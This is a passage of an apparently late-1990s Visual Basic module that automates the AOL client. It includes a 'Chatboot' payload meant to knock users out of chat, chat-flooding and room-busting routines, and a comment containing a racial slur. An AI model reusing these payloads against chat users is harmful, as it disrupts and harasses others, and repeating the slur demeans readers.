  4532. mdi% = FindChildByClass(aol%, "MDIClient")
  4533. TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  4534.  
  4535. Do: DoEvents
  4536. win% = FindWindow("#32770", vbNullString)
  4537. If win% <> 0 Then Exit Do
  4538. Loop
  4539. closeit = SendMessage(win%, WM_CLOSE, 0, 0&)
  4540. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  4541. End Function
  4542. Function IMOFF()
  4543. Call InstantMessage("$IM_off", Plug)
  4544.  
  4545. aol% = FindWindow("AOL Frame25", vbNullString)
  4546. mdi% = FindChildByClass(aol%, "MDIClient")
  4547. TIT% = FindChildByTitle(mdi%, "Send Instant Message")
  4548.  
  4549. Do: DoEvents
  4550. win% = FindWindow("#32770", vbNullString)
  4551. If win% <> 0 Then Exit Do
  4552. Loop
  4553. closeit = SendMessage(win%, WM_CLOSE, 0, 0&)
  4554. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  4555. End Function
  4556. Function Label_MovieCredit(Lab As Label, name As String)
  4557. 'set backround color to black
  4558. Lab.Alignment = 2
  4559. Lab.Caption = name
  4560. Lab.BackStyle = 0
  4561. Lab.AutoSize = True
  4562.  
  4563. For i = 64 To 1 Step -5
  4564.         X = 255 - (i * 4 - 1)
  4565.          
  4566.         NewC = RGB(X, X, X)
  4567.         Lab.ForeColor = NewC
  4568.          Wait (0.0000001)
  4569.     Next i
  4570. Wait (0.8)
  4571. For i = 1 To 64 Step 5
  4572.         X = 255 - (i * 4 - 1)
  4573.          
  4574.         NewC = RGB(X, X, X)
  4575.         Lab.ForeColor = NewC
  4576.          Wait (0.0000001)
  4577.     Next i
  4578. Lab.ForeColor = &H0&
  4579. End Function
  4580. Public Sub PrivateRoom(room As String)
  4581.     Call Keyword("aol://2719:2-2-" & room$)
  4582. End Sub
  4583. Function Label_MovieCredit2(Lab As Label, name As String, num As Integer)
  4584. Lab.Alignment = 2
  4585. Lab.Caption = name
  4586. Lab.BackStyle = 0
  4587. Lab.AutoSize = True
  4588.  
  4589. For i = 64 To 1 Step -5
  4590.         X = 255 - (i * 4 - 1)
  4591.          
  4592.         NewC = RGB(X, X, X)
  4593.         Lab.ForeColor = NewC
  4594.          Wait (0.0000001)
  4595.     Next i
  4596. Wait (num)
  4597. For i = 1 To 64 Step 5
  4598.         X = 255 - (i * 4 - 1)
  4599.          
  4600.         NewC = RGB(X, X, X)
  4601.         Lab.ForeColor = NewC
  4602.          Wait (0.0000001)
  4603.     Next i
  4604. Lab.ForeColor = &H0&
  4605. End Function
  4606.  
  4607. Function AddCharToList(lis As ListBox)
  4608. 'this wont add the chr codes
  4609. 'that windows doesnt recognize
  4610. Dim c, i As Integer
  4611.  
  4612. For c = 33 To 126
  4613.     lis.AddItem Chr(c)
  4614. Next c
  4615.  
  4616. lis.AddItem Chr(145)
  4617.  
  4618. For i = 161 To 255
  4619.     lis.AddItem Chr(i)
  4620. Next i
  4621. End Function
  4622.  
  4623. Sub Aol4_SetFocus()
  4624. X = GetCaption(AOLWindow)
  4625.  
  4626. End Sub
  4627.  
  4628. Sub TimeOut(Duration)
  4629. starttime = Timer
  4630. Do While Timer - starttime < Duration
  4631. DoEvents
  4632. Loop
  4633.  
  4634. End Sub
  4635.  
  4636.  
  4637. Sub StayOnTop(TheForm As Form)
  4638. SetWinOnTop = SetWindowPos(TheForm.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
  4639. End Sub
  4640.  
  4641. Sub Chatboot()
  4642. 'This boot nigga's from the chat, Thanx to Fr3X0r :P
  4643. For i = 1 To 100
  4644. a = a + "{S IM "
  4645. Next
  4646. ErrorRsenD ("<font color=#fffffe>.<p=< a href=" & Chr$(34) & " " & a & Chr$(34) & "></a>")
  4647. End Sub
  4648. Sub AddRoomToListbox(ListBox As ListBox)
  4649. On Error Resume Next
  4650.  
  4651. Dim AOLProcess As Long
  4652. Dim ListItemHold As Long
  4653. Dim Person As String
  4654. Dim ListPersonHold As Long
  4655. Dim ReadBytes As Long
  4656. TheList.Clear
  4657.  
  4658. room = FindChat()
  4659. aolhandle = FindChildByClass(room, "_AOL_Listbox")
  4660.  
  4661. AOLThread = GetWindowThreadProcessId(aolhandle, AOLProcess)
  4662. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AOLProcess)
  4663.  
  4664. If AOLProcessThread Then
  4665. For Index = 0 To SendMessage(aolhandle, LB_GETCOUNT, 0, 0) - 1
  4666. Person$ = String$(4, vbNullChar)
  4667. ListItemHold = SendMessage(aolhandle, LB_GETITEMDATA, ByVal CLng(Index), ByVal 0&)
  4668. ListItemHold = ListItemHold + 24
  4669. Call ReadProcessMemory(AOLProcessThread, ListItemHold, Person$, 4, ReadBytes)
  4670.                         
  4671. Call RtlMoveMemory(ListPersonHold, ByVal Person$, 4)
  4672. ListPersonHold = ListPersonHold + 6
  4673.  
  4674. Person$ = String$(16, vbNullChar)
  4675. Call ReadProcessMemory(AOLProcessThread, ListPersonHold, Person$, Len(Person$), ReadBytes)
  4676.  
  4677. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  4678. If Person$ = UserSN Then GoTo Na
  4679. ListBox.AddItem Person$
  4680. Na:
  4681. Next Index
  4682. Call CloseHandle(AOLProcessThread)
  4683. End If
  4684.  
  4685. End Sub
  4686. Sub List_Add(List As ListBox, txt$)
  4687. On Error Resume Next
  4688. DoEvents
  4689. For X = 0 To List.ListCount - 1
  4690.     If UCase$(List.List(X)) = UCase$(txt$) Then Exit Sub
  4691. Next
  4692. If Len(txt$) <> 0 Then List.AddItem txt$
  4693. End Sub
  4694.  
  4695. Sub ClearChat()
  4696. ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>")
  4697. ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>")
  4698. TimeOut 0.45
  4699. ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>")
  4700. ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>")
  4701. End Sub
  4702.  
  4703. Function AOL_Version()
  4704. 'returns Not Online , 3.0 or 4.0
  4705. Dim Version As String
  4706. aol% = FindWindow("AOL Frame25", vbNullString)
  4707.  
  4708. toola% = FindChildByClass(aol%, "AOL Toolbar")
  4709. toolb% = FindChildByClass(toola%, "_AOL_Toolbar")
  4710.     mdi% = FindChildByClass(aol%, "MDIClient")
  4711.     tit1% = FindChildByTitle(mdi%, "Sign On")
  4712.     tit2% = FindChildByTitle(mdi%, "Goodbye from America Online!")
  4713.     
  4714. If aol% = 0 Then
  4715. Version = "Not Online"
  4716. ElseIf tit1% <> 0 Then
  4717. Version = "Not Online"
  4718. ElseIf tit2% <> 0 Then
  4719. Version = "Not Online"
  4720. ElseIf toola% <> 0 Then
  4721. Version = "4.0"
  4722. Else
  4723. Version = "3.0"
  4724. End If
  4725. AOL_Version = Version
  4726.  
  4727. End Function
  4728.  
  4729. Function ChatToListbox(lis As ListBox)
  4730. Dim Chil%, Rich%, SendNum, GeText$, last, l$
  4731. Chil% = FindChat
  4732. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  4733.  
  4734. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  4735. GeTxt$ = Space$(SendNum)
  4736. last = SendMessageByString(Rich%, 13, SendNum + 1, GeTxt$)
  4737. For X = 1 To Len(GeTxt$)
  4738.  l$ = Mid(GeTxt$, X, 1)
  4739.   If l$ = Chr(13) Then
  4740.  Let l$ = ""
  4741.  lis.AddItem Lne$
  4742.  Lne$ = ""
  4743.  End If
  4744.  Lne$ = Lne$ & l$
  4745.  Next X
  4746.  
  4747. End Function
  4748.  
  4749. Function Object_MoveUp(Obj)
  4750. 'put this in a timer with a low interval
  4751. 'object is like a label or pic box
  4752. Obj.Top = Val(Obj.Top) + 20
  4753. End Function
  4754. Function Object_MoveDown(Obj)
  4755. 'put this in a timer with a low interval
  4756. 'object is like a label or pic box
  4757. Obj.Top = Val(Obj.Top) - 20
  4758. End Function
  4759.  
  4760. Function Print_GetDeviceName()
  4761. 'gets the name of the printer
  4762. name = Printer.DeviceName
  4763. Print_GetDeviceName = name
  4764. End Function
  4765. Function SendMailAttach(Who As String, subject As String, message As String, FilePath As String)
  4766. 'ex:  Call AOL_MailAttach("user123","hi","hey whats up","c:\example.exe")
  4767. aol% = FindWindow("AOL Frame25", vbNullString)
  4768. tool% = FindChildByClass(aol%, "AOL Toolbar")
  4769. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  4770. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  4771. Icona% = GetWindow(Icona%, 2)
  4772. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4773. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4774. Do: DoEvents
  4775. mdi% = FindChildByClass(aol%, "MDIClient")
  4776. TIT% = FindChildByTitle(mdi%, "Write Mail")
  4777. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  4778. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  4779. If TIT% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do
  4780. Loop
  4781. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Who)
  4782.     For n = 1 To 4
  4783.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  4784.     Next n
  4785. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, subject)
  4786. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, message)
  4787.     For i = 1 To 22
  4788.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  4789.     Next i
  4790.  
  4791.  
  4792. Rich% = GetWindow(Rich%, GW_HWNDNEXT)
  4793. Rich% = GetWindow(Rich%, GW_HWNDNEXT)
  4794.  
  4795. attch = SendMessage(Rich%, WM_LBUTTONDOWN, 0, 0&)
  4796. attch = SendMessage(Rich%, WM_LBUTTONUP, 0, 0&)
  4797. Wait (0.3)
  4798. Do: DoEvents
  4799. Mod2% = FindWindow("_AOL_Modal", vbNullString)
  4800. Tree2% = FindChildByClass(Mod2%, "_AOL_Tree")
  4801. stat% = FindChildByClass(Mod2%, "_AOL_Static")
  4802. iconb% = FindChildByClass(Mod2%, "_AOL_Icon")
  4803. If Mod2% <> 0 And Tree2% <> 0 And stat% <> 0 And iconb% <> 0 Then Exit Do
  4804. Loop
  4805.   
  4806. attchc = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  4807. attchc = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  4808. Wait (0.3)
  4809. Do: DoEvents
  4810. Fle% = FindWindow("#32770", vbNullString)
  4811. edif% = FindChildByClass(Fle%, "Edit")
  4812. but% = FindChildByClass(Fle%, "Button")
  4813. If Fle% <> 0 And edif% <> 0 And but% <> 0 Then Exit Do
  4814. Loop
  4815. Wait (0.3)
  4816. fillit = SendMessageByString(edif%, WM_SETTEXT, 0, FilePath)
  4817. but% = GetWindow(but%, GW_HWNDNEXT)
  4818. clickit = SendMessage(but%, WM_LBUTTONDOWN, 0, 0&)
  4819. clickit = SendMessage(but%, WM_LBUTTONUP, 0, 0&)
  4820.  
  4821. Wait (0.2)
  4822. Do: DoEvents
  4823. Mod2% = FindWindow("_AOL_Modal", vbNullString)
  4824. Tree2% = FindChildByClass(Mod2%, "_AOL_Tree")
  4825. stat% = FindChildByClass(Mod2%, "_AOL_Static")
  4826. iconb% = FindChildByClass(Mod2%, "_AOL_Icon")
  4827. If Mod2% <> 0 And Tree2% <> 0 And stat% <> 0 And iconb% <> 0 Then Exit Do
  4828. Loop
  4829. Wait (0.2)
  4830. iconb% = GetWindow(iconb%, GW_HWNDNEXT) 'detach
  4831.     iconb% = GetWindow(iconb%, GW_HWNDNEXT) 'OK
  4832.  
  4833. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  4834. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  4835.  
  4836. SendIt = SendMessage(Edi%, WM_LBUTTONDOWN, 0, 0&)
  4837. SendIt = SendMessage(Edi%, WM_LBUTTONUP, 0, 0&)
  4838.  
  4839. End Function
  4840.  
  4841. Function GreetRoom(lis As ListBox, BeforeGreet As String, AfterGreet As String)
  4842. 'i really prefer to tag ur own cuz more preferble but
  4843. ' this would do nice for you none programmer's
  4844. Call addroom(lis)
  4845. Wait (0.3)
  4846. For X = 0 To lis.ListCount
  4847.     Nam$ = lis.List(X)
  4848.     Call SendChat(BeforeGreet & " " & Nam$ & " " & AfterGreet)
  4849. Wait (0.6)
  4850. Next X
  4851.  
  4852. End Function
  4853.  
  4854. Function AntiIdle()
  4855. 'put in timer
  4856. Modal% = FindWindow("_AOL_Modal", vbNullString)
  4857. txt$ = Modal_Static
  4858. There = InStr(txt$, "you have been idle")
  4859. If Modal% <> 0 Then
  4860. closeit = SendMessage(Modal%, WM_CLOSE, 0, 0&)
  4861. End If
  4862.  
  4863. End Function
  4864.  
  4865. Public Sub SaveListBox(Directory As String, TheList As ListBox)
  4866.     Dim savelist As Long
  4867.     On Error Resume Next
  4868.     Open Directory$ For Output As #1
  4869.     For savelist& = 0 To TheList.ListCount - 1
  4870.         Print #1, TheList.List(savelist&)
  4871.     Next savelist&
  4872.     Close #1
  4873. End Sub
  4874. Public Function MacroFilter_StarTop(MyString As String) As String
  4875.     MyString$ = ReplaceString(MyString$, "»»»", "`**»")
  4876.     MacroFilter_StarTop$ = MyString$
  4877. End Function
  4878. Public Function MacroFilter_Ghost(MyString As String) As String
  4879.     MyString$ = ReplaceString(MyString$, "»", "¿¿")
  4880.     MyString$ = ReplaceString(MyString$, "/", ".╖")
  4881.     MyString$ = ReplaceString(MyString$, "\", "╖.")
  4882.     MyString$ = ReplaceString(MyString$, "|", ":")
  4883.     MyString$ = ReplaceString(MyString$, "_", "..")
  4884.     MyString$ = ReplaceString(MyString$, "ª", ":")
  4885.     MacroFilter_Ghost = MyString$
  4886. End Function
  4887. Public Function MacroFilter_BCurve(MyString As String) As String
  4888.     MyString$ = ReplaceString(MyString$, "\", "]")
  4889.     MyString$ = ReplaceString(MyString$, "/", "[")
  4890.     MacroFilter_BCurve$ = MyString$
  4891. End Function
  4892. Sub LoadText(txtLoad As textbox, Path As String)
  4893.     Dim TextString As String
  4894.     On Error Resume Next
  4895.     Open Path$ For Input As #1
  4896.     TextString$ = Input(LOF(1), #1)
  4897.     Close #1
  4898.     txtLoad.Text = TextString$
  4899. End Sub
  4900.  
  4901. Sub SaveText(txtSave As textbox, Path As String)
  4902.     Dim TextString As String
  4903.     On Error Resume Next
  4904.     TextString$ = txtSave.Text
  4905.     Open Path$ For Output As #1
  4906.     Print #1, TextString$
  4907.     Close #1
  4908. End Sub
  4909.  
  4910.  
  4911. Function ChatColorSend(Color As String, strin As String)
  4912. 'color constants: (L before color = light, D = Dark)
  4913. 'Blue
  4914. 'LBlue
  4915. 'DBlue
  4916. 'Green
  4917. 'LGreen
  4918. 'DGreen
  4919. 'Red
  4920. 'DRed
  4921. 'Yellow
  4922. 'Grey
  4923. 'LGrey
  4924. 'DGrey
  4925. 'Orange
  4926. 'Purple
  4927. 'Pink
  4928. ' Ex.. Call ChatColorSend(Blue,text1.text)
  4929. cc$ = "<Font Color=" & Chr(34) & Color & Chr(34) & ">"
  4930. Call SendChat(cc$ & strin)
  4931. End Function
  4932.  
  4933. Function MailBombFix(SName As String)
  4934. Call Mail_OpenNew2
  4935. Wait (0.5)
  4936. aol% = FindWindow("AOL Frame25", vbNullString)
  4937. mdi% = FindChildByClass(aol%, "MDIClient")
  4938. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  4939. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  4940. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  4941. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  4942. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  4943.         For n = 1 To 6
  4944.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  4945.         Next n
  4946.  coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  4947. For safety = 1 To 4
  4948. For i = 0 To coun% - 1
  4949. lent% = SendMessage(tree%, LB_GETTEXTLEN, i, 0&)
  4950.     mail$ = String(lent% + 1, 0)
  4951.     Call SendMessageByString(tree%, LB_GETTEXT, i, mail$)
  4952.             For X = 1 To Len(mail$)
  4953.                 c$ = Mid(mail$, X, 1)
  4954.                     If c$ = Chr(9) Then
  4955.                     Let c$ = ""
  4956.                     Exit For
  4957.                     End If
  4958.                 news$ = news$ & c$
  4959.                 Next X
  4960.                         For l = X + 1 To Len(mail$)
  4961.                                 c$ = Mid(mail$, l, 1)
  4962.                                     If c$ = Chr(9) Then
  4963.                                 Let c$ = ""
  4964.                                      Exit For
  4965.                                 End If
  4966.                             News2$ = News2$ & c$
  4967.                          Next l
  4968.                
  4969.         If LCase(News2$) = LCase(SName) Then
  4970.         setit = SendMessage(tree%, LB_SETCURSEL, i, 0&)
  4971.         deleteit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4972.         deleteit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4973.         coun% = coun% - 1
  4974.         End If
  4975.         News2$ = ""
  4976.     Next i
  4977.     Next safety
  4978. End Function
  4979.  
  4980. Function NewMailToList(lis As ListBox)
  4981. 'this will open ur new mail and
  4982. 'it will auto add the mail into your list box
  4983. 'helpfull for mmer's or server's
  4984. aol% = FindWindow("AOL Frame25", vbNullString)
  4985. mdi% = FindChildByClass(aol%, "MDIClient")
  4986. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  4987. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  4988. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  4989. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  4990. coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  4991. For i = 0 To coun% - 1
  4992. lent% = SendMessage(tree%, LB_GETTEXTLEN, i, 0&)
  4993.     mail$ = String(lent% + 1, 0)
  4994.     Call SendMessageByString(tree%, LB_GETTEXT, i, mail$)
  4995.     For X = 1 To Len(mail$)
  4996.         l$ = Mid(mail$, X, 1)
  4997.         NoName$ = NoName$ & l$
  4998.             If l$ = Chr(9) Then
  4999.                 Let l$ = "": NoName$ = ""
  5000.             End If
  5001.     Next X
  5002.     
  5003. lis.AddItem NoName$
  5004.     Next i
  5005. End Function
  5006. Function PrivRoom2(RoomName As String)
  5007. 'this wont click the "room is full" window
  5008. 'much faster for a bust or reenter but not
  5009. 'as safe
  5010. aol% = FindWindow("AOL Frame25", vbNullString)
  5011. tool% = FindChildByClass(aol%, "AOL Toolbar")
  5012. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  5013. Comb% = FindChildByClass(toolb%, "_AOL_Combobox")
  5014. Edi% = FindChildByClass(Comb%, "Edit")
  5015.  
  5016.   fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, "aol://2719:2-2-" & RoomName)
  5017.  
  5018. clickit = SendMessageByNum(Edi%, WM_CHAR, VK_SPACE, 0&)
  5019. clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0&)
  5020. End Function
  5021.  
  5022. Function RoomBust(RoomName As String)
  5023. Dim Chil%, Rich%
  5024. Dim T As Integer
  5025. Chil% = FindChat
  5026. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  5027.     If Rich% <> 0 Then
  5028.         closeroom = SendMessage(Chil%, WM_CLOSE, 0, 0&)
  5029.     End If
  5030. Do: DoEvents
  5031. T = Val(T) + 1
  5032. Call PrivRoom(RoomName)
  5033. Wait (0.3)
  5034. If InRoom = True Or T = 20 Then Exit Do
  5035. Loop
  5036. If T = 20 Then
  5037. MsgBox ("Fucking bitch it only allow's 20 bust bitch fucking reset lamer do to fucking aol's last update.."), 16, ("RoomBust Timeout")
  5038. End If
  5039. Wait (0.2) 'this is to make sure your advertise
  5040. 'doesnt come too soon
  5041.  
  5042. End Function
  5043.  
  5044. Function RoomReenter(RoomName As String, Times As Integer)
  5045. ' this bitch dont work know more
  5046. 'but il write a working one soon
  5047. For i = 1 To Times
  5048. Call PrivRoom(RoomName)
  5049. Next i
  5050.  
  5051. End Function
  5052.  
  5053.  
  5054. Function RoomReenter2(Times As Integer)
  5055. 'this one will automatically detect the room name
  5056. room$ = GetRoomTitle
  5057. For i = 1 To Times
  5058. Call PrivRoom(room$)
  5059. Next i
  5060.  
  5061. End Function
  5062.  
  5063.  
  5064. Function CharToChr(Letter As String)
  5065. c = Asc(Letter)
  5066.  
  5067. CharToChr = c
  5068.  
  5069. End Function
  5070.  
  5071. Function Form_Oval(frm As Form)
  5072. frm.Show
  5073. SetWindowRgn frm.hwnd, CreateEllipticRgn(0, 0, 300, 200), True
  5074. End Function
  5075.  
  5076. Function getprofile(Nam As String)
  5077. Dim Edi%
  5078. Call RunMenuByChar(9, "G")
  5079. Do: DoEvents
  5080. aol% = FindWindow("AOL Frame25", vbNullString)
  5081. mdi% = FindChildByClass(aol%, "MDIClient")
  5082. TIT% = FindChildByTitle(mdi%, "Get A Member's Profile")
  5083. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  5084. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  5085. If Edi% <> 0 Then Exit Do
  5086. Loop
  5087. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Nam)
  5088. DoEvents
  5089. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  5090. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  5091. Wait (0.6)
  5092. None% = FindWindow("#32770", vbNullString)
  5093.  
  5094. If None% <> 0 Then
  5095. closeit = SendMessage(None%, WM_CLOSE, 0, 0&)
  5096. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  5097. getprofile = "No Profile Available"
  5098. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  5099. Exit Function
  5100. End If
  5101. Do: DoEvents
  5102. tit2% = FindChildByTitle(mdi%, "Member Profile")
  5103. View% = FindChildByClass(tit2%, "_AOL_View")
  5104. If tit2% <> 0 And View% <> 0 Then Exit Do
  5105. Loop
  5106.  
  5107. Do: DoEvents
  5108. NewNum = sNum 'wait for all text to load up
  5109. sNum = SendMessageByNum(View%, 14, 0&, 0&)
  5110. Wait (0.3)
  5111. If NewNum = sNum Then Exit Do
  5112. Loop
  5113.  
  5114. trm$ = Space$(sNum)
  5115. last = SendMessageByString(View%, 13, sNum + 1, trm$)
  5116.  
  5117. closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  5118. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  5119.  
  5120. prof$ = trm$
  5121. getprofile = prof$
  5122.  
  5123. End Function
  5124.  
  5125. Function Label_Space(Lab As Label, txt As String, MaxSize As Integer)
  5126. Lab.FontSize = 1
  5127. Lab.AutoSize = True
  5128. Lab.Alignment = 2
  5129. Lab.Caption = txt
  5130. For X = 1 To MaxSize Step 10
  5131. Lab.FontSize = X
  5132. Wait (0.001)
  5133. Next X
  5134. Wait (0.5)
  5135. For i = MaxSize To 1 Step -10
  5136. Lab.FontSize = i
  5137. Wait (0.001)
  5138. Next i
  5139.  
  5140. End Function
  5141.  
  5142. Function LastTextFromIm()
  5143. 'this gets the text from the last im
  5144. Dim IM$
  5145. Dim i$, txt$
  5146. Dim X As Integer
  5147. IM$ = TextFromIm
  5148.  
  5149. For X = 1 To Len(IM$)
  5150. i$ = Mid(IM$, X, 1)
  5151. txt$ = txt$ & i$
  5152. If i$ = Chr(9) Then
  5153. Let i$ = ""
  5154. txt$ = ""
  5155. End If
  5156.  
  5157.  
  5158. Next X
  5159. LastTextFromIm = txt$
  5160. End Function
  5161.  
  5162. Function MailNewDeleteAllBut(SName As String)
  5163. 'deletes all mail except from the name you put
  5164. Call Mail_OpenNew2
  5165. Wait (0.5)
  5166. aol% = FindWindow("AOL Frame25", vbNullString)
  5167. mdi% = FindChildByClass(aol%, "MDIClient")
  5168. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  5169. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5170. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5171. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5172. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  5173.         For n = 1 To 6
  5174.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  5175.         Next n
  5176.  coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5177. For safety = 1 To 4
  5178. For i = 0 To coun% - 1
  5179. lent% = SendMessage(tree%, LB_GETTEXTLEN, i, 0&)
  5180.     mail$ = String(lent% + 1, 0)
  5181.     Call SendMessageByString(tree%, LB_GETTEXT, i, mail$)
  5182.             For X = 1 To Len(mail$)
  5183.                 c$ = Mid(mail$, X, 1)
  5184.                     If c$ = Chr(9) Then
  5185.                     Let c$ = ""
  5186.                     Exit For
  5187.                     End If
  5188.                 news$ = news$ & c$
  5189.                 Next X
  5190.                         For l = X + 1 To Len(mail$)
  5191.                                 c$ = Mid(mail$, l, 1)
  5192.                                     If c$ = Chr(9) Then
  5193.                                 Let c$ = ""
  5194.                                      Exit For
  5195.                                 End If
  5196.                             News2$ = News2$ & c$
  5197.                          Next l
  5198.                
  5199.         If LCase(News2$) <> LCase(SName) Then
  5200.         setit = SendMessage(tree%, LB_SETCURSEL, i, 0&)
  5201.         deleteit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  5202.         deleteit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  5203.         coun% = coun% - 1
  5204.         End If
  5205.         News2$ = ""
  5206.     Next i
  5207.     Next safety
  5208. End Function
  5209.  
  5210. Function MailNewDeleteNonAOL()
  5211. 'this will delete all mails with more then 10
  5212. 'letters , obviouslly getting rid of non aol
  5213. 'unless the person actually writes @aol.com
  5214. 'but thats usually junk anyway
  5215. Call Mail_OpenNew2
  5216. Wait (0.5)
  5217. aol% = FindWindow("AOL Frame25", vbNullString)
  5218. mdi% = FindChildByClass(aol%, "MDIClient")
  5219. TIT% = FindChildByTitle(mdi%, " Online Mailbox")
  5220. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5221. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5222. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5223. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  5224.         For n = 1 To 6
  5225.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  5226.         Next n
  5227.  coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5228. For safety = 1 To 4
  5229. For i = 0 To coun% - 1
  5230. lent% = SendMessage(tree%, LB_GETTEXTLEN, i, 0&)
  5231.     mail$ = String(lent% + 1, 0)
  5232.     Call SendMessageByString(tree%, LB_GETTEXT, i, mail$)
  5233.             For X = 1 To Len(mail$)
  5234.                 c$ = Mid(mail$, X, 1)
  5235.                     If c$ = Chr(9) Then
  5236.                     Let c$ = ""
  5237.                     Exit For
  5238.                     End If
  5239.                 news$ = news$ & c$
  5240.                 Next X
  5241.                         For l = X + 1 To Len(mail$)
  5242.                                 c$ = Mid(mail$, l, 1)
  5243.                                     If c$ = Chr(9) Then
  5244.                                 Let c$ = ""
  5245.                                      Exit For
  5246.                                 End If
  5247.                             News2$ = News2$ & c$
  5248.                          Next l
  5249.                
  5250.         If Len(News2$) > 10 Then
  5251.         setit = SendMessage(tree%, LB_SETCURSEL, i, 0&)
  5252.         deleteit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  5253.         deleteit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  5254.         coun% = coun% - 1
  5255.         End If
  5256.         News2$ = ""
  5257.     Next i
  5258.     Next safety
  5259. End Function
  5260. Function Modal_Static()
  5261. Modal% = FindWindow("_AOL_Modal", vbNullString)
  5262. stat% = FindChildByClass(Modal%, "_AOL_Static")
  5263.     
  5264. SendNum = SendMessageByNum(stat%, 14, 0&, 0&)
  5265. Trimit$ = Space$(SendNum)
  5266. last = SendMessageByString(stat%, 13, SendNum + 1, Trimit$)
  5267. Modal_Static = Trimit$
  5268. End Function
  5269.  
  5270. Function RandomColorCode()
  5271. num = Array("C", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F")
  5272.  
  5273. CCode = "#" & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd))
  5274. RandomColorCode = CCode
  5275.  
  5276. End Function
  5277. Sub Playwav(file)
  5278. 'ex: Playwav ("evi.wav")
  5279. SoundName$ = file
  5280.    wFlags% = SND_ASYNC Or SND_NODEFAULT
  5281.    X% = sndPlaySound(SoundName$, wFlags%)
  5282.  
  5283. End Sub
  5284.  
  5285.  
  5286. Function RunMenuByChar(IconNum As Integer, Letter As String)
  5287.  
  5288. 'itll work , if you wanna use it take the icon number
  5289. 'and subtract one so if its the 9'th icon use 8
  5290. aol% = FindWindow("AOL Frame25", vbNullString)
  5291. tool% = FindChildByClass(aol%, "AOL Toolbar")
  5292. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  5293. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  5294.  
  5295. For i = 1 To IconNum
  5296. Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  5297. Next i
  5298.     DoEvents
  5299.         Chng$ = CharToChr(Letter)
  5300.                
  5301.             SendLetter = SendMessageByString(Icona%, WM_CHAR, Chng$, 0&)
  5302.  
